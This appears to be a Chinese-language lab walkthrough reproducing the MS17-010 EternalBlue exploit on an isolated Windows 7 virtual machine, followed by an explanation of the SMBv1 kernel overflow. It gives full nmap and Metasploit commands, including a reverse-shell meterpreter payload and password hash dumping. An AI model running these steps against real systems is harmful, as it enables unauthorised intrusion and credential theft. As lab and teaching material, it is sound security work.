MS17-010永恒之蓝复现
准备工作
攻击机kali+靶机Windows7
靶机获取方式:
MSDN, 我告诉你 - 做一个安静的工具站
推荐安装版本Windows 7 Professional with Service Pack 1 (x64),使用迅雷拉取镜像即可。
VMware部署Windows7:
VMware虚拟机安装win7教程(图文版 超详细!)_win7虚拟机-CSDN博客
在kali和Windows7上使用虚拟网卡,使用自定义网段,网络模式使用仅主机模式
Windows7配置,确保SMB服务启动,在控制面板->网络和Internet->网络和共享中心->更改高级共享设置->启用网络发现、启用文件打印和共享。
确认开启:控制面板->程序->程序与功能->打开或关闭Windows功能->看到启用了打印和文件服务
确保kali和Windows7网络互通
查看Windows7系统补丁情况,确定未打KB4012212 / KB4012215 / KB4012218补丁
攻击步骤
kali探测靶机是否开放445端口SMB服务
nmap -p445 192.168.198.128
确认开放服务后使用nmap脚本检测漏洞
nmap -p445 --script smb-vuln-ms17-010 192.168.198.128
使用MSF打靶机
启动MSF后搜索漏洞模块
msfconsole
search ms17-010
选择第一个模块,里面写了适用的范围有Windows7
msf6 > use exploit/windows/smb/ms17_010_eternalblue
设置靶机地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHoSTS 192.168.198.128
设置攻击主机地址
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.198.129
这里因为靶机和kali在同一网段就不用写路由
设置payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
执行攻击
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
成功获取权限后
执行命令,查看系统信息
meterpreter > sysinfo
查看当前用户权限
meterpreter > getuid
导出系统hash
meterpreter > hashdump
打开cmd控制台
meterpreter > shell
MS17-010是什么
MS17-010是一组针对SMBv1的漏洞补丁(含CVE-2017-0143/44/45/46/47/48),其中CVE-2017-0144就是永恒之蓝。
漏洞原理:
-
协议与代码交汇点:问题出在内核驱动
srv.sys
处理 SMBv1 的 Trans/Trans2/NT Transaction 请求时,对 OS/2 扩展属性(FEA)列表 的长度计算出现错误。 -
具体失误:在将 FEA 列表转换为 NT FEA 列表的过程中(函数族常被分析为
SrvOs2FeaListToNt
/SrvOs2FeaToNt
),长度计算/类型截断 等缺陷导致为目标缓冲区分配的内存 偏小,后续拷贝产生 内核非分页池(Large Non-Paged Pool)越界写。 -
为什么危险:越界写会覆盖相邻内核对象(常见是
SRVNET
的缓冲区结构),从而劫持函数指针/回调或结构字段,最终把执行流导向攻击者控制的数据。
要点:这是 长度计算缺陷 → 非分页池溢出 → 覆盖相邻结构 → 控制执行流 的经典链条;触发面是 未经认证的 SMBv1 请求。微软的官方公告将其定性为“向 SMBv1 服务器发送特制消息即可 RCE”。
简单来说就是:SMBv1 在处理特制的报文时存在 缓冲区越界写入(buffer overflow),攻击者可以通过精心构造的 SMB 包,在 未经身份认证的情况下远程执行任意代码。